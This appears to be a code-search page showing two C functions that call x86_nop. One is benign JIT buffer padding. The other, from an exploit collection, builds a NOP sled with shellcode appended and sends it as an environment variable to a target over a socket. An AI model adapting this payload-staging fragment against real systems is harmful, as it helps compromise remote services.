C++ (Cpp) x86_nop Examples

Example #1

File: jit-apply-x86-64.c Project: 8l/lllm

void _jit_pad_buffer(unsigned char *buf, int len)
{
	while(len >= 6)
	{
		/* "leal 0(%esi), %esi" with 32-bit displacement */
		*buf++ = (unsigned char)0x8D;
		x86_address_byte(buf, 2, X86_ESI, X86_ESI);
		x86_imm_emit32(buf, 0);
		len -= 6;
	}
	if(len >= 3)
	{
		/* "leal 0(%esi), %esi" with 8-bit displacement */
		*buf++ = (unsigned char)0x8D;
		x86_address_byte(buf, 1, X86_ESI, X86_ESI);
		x86_imm_emit8(buf, 0);
		len -= 3;
	}
	if(len == 1)
	{
		/* Traditional x86 NOP */
		x86_nop(buf);
	}
	else if(len == 2)
	{
		/* movl %esi, %esi */
		x86_mov_reg_reg(buf, X86_ESI, X86_ESI, 4);
	}
}

Example #2

File: 409.c Project: atassumer/Python-Exploit-Search-Tool

void
xp_pop (int fd)
{
        unsigned char   var[16];
        unsigned char   storebuf[496];
        sprintf (var, "%06x", walk);
#ifdef DEBUG
        memset (storebuf, '\xcc', sizeof (storebuf));
#else
/*      memset (storebuf, '\x90', sizeof (storebuf));   */
        x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5);
        memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1,
                shellcode, strlen (shellcode));
#endif
        storebuf[sizeof (storebuf) - 1] = '\0';

        xp_setenv (fd, var, storebuf);
}